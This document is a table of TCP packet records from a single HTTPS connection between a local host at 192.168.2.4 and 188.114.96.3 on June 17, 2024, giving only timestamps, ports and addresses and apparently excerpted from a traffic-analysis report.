Jun 17, 2024 16:18:54.721287966 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.721324921 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.721329927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.721338987 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.721362114 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.722358942 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.722412109 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.722421885 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.722456932 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.722472906 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.722520113 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.722587109 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.722623110 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.722623110 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.722635031 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.722671986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.723262072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.723309994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.723340988 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.723351002 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.723395109 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.723892927 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.723939896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.723939896 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.723956108 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.723978043 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.724004984 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.724119902 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.724128008 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.724160910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.730771065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.834613085 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.834696054 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.834772110 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.834795952 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.834825993 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.834832907 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.834876060 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.834892035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.834924936 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.834974051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835017920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835031986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835040092 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835069895 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835086107 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835144997 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835182905 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835196018 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835205078 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835232019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835258961 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835304976 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835345030 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835360050 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835366964 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835395098 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835418940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835567951 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835613966 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835635900 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835647106 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835669994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835686922 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835748911 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835793018 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835805893 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835813999 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.835841894 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.835859060 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.836246014 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.836267948 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.836318016 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.836327076 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.836344004 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.836366892 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.836462975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.836494923 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.836507082 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.836513996 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.836545944 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.837980986 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.838002920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.838038921 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.838067055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.838080883 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.838082075 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.838112116 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.838119984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.838129997 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.838166952 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.839169025 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839191914 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839226007 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.839245081 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839274883 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.839291096 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.839818954 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839859009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839874983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.839875937 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839891911 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839920998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839942932 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.839952946 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.839973927 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.840040922 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.840060949 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.840090036 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.840100050 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.840121984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951019049 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951042891 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951124907 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951137066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951148033 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951162100 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951176882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951216936 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951453924 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951476097 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951508045 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951523066 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951536894 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951543093 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951565981 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951571941 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951587915 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951596022 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951633930 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951843023 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951865911 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951911926 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.951920986 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.951958895 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952116013 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952136993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952158928 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952167034 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952193975 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952209949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952276945 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952299118 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952334881 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952341080 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952373028 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952390909 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952528000 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952548981 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952578068 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952584028 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952609062 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952629089 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952649117 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952672958 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952701092 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952708006 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952737093 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952747107 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952790976 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952811956 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952840090 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952847958 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.952873945 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.952893019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953119040 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953142881 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953176022 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953181982 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953206062 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953217983 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953226089 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953233004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953263044 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953265905 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953290939 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953296900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953324080 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953349113 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953556061 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953577995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953609943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953615904 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953644037 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953649998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953661919 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953668118 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953684092 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953696966 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953737020 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953742981 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953818083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953855038 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953867912 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953905106 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.953917980 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953950882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.953965902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954010963 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954010963 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954102993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954127073 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954159975 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954165936 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954231024 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954231024 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954253912 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954298973 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954319954 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954360962 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954375029 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954420090 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954451084 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954488039 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954680920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954704046 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954735994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954755068 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.954766989 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954802036 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.954899073 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955084085 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955106020 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955135107 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955143929 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955178976 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955188990 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955193996 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955207109 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955229998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955245018 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955290079 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955322981 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955328941 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955343962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955355883 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955383062 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955485106 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955506086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955535889 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.955543995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.955554962 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956125975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956150055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956206083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956214905 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956248999 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956278086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956296921 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956326962 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956336021 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956363916 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956600904 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956624985 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956662893 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956671953 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956685066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956924915 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956944942 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.956983089 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.956991911 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.957003117 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.957065105 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.957088947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.957117081 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.957125902 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.957155943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.957431078 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.957448959 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.957547903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.957560062 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.958432913 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.068684101 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.068754911 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.068778038 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.068809986 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.068839073 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.068861961 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.068958998 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069001913 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069016933 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069026947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069060087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069088936 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069230080 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069276094 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069295883 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069305897 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069334984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069348097 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069468975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069514990 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069549084 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069557905 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069583893 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069600105 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069776058 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069818020 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069842100 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069856882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069883108 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069894075 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.069953918 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.069996119 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070018053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070027113 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070054054 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070066929 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070209980 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070260048 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070292950 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070302963 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070358992 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070358992 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070404053 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070446014 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070467949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070477009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070503950 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070514917 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070580006 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070621014 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070636988 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070646048 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070674896 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070698977 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070754051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070801973 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070827007 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070843935 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.070873976 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.070885897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.071012020 CEST	443	49733	188.114.96.3	192.168.2.4
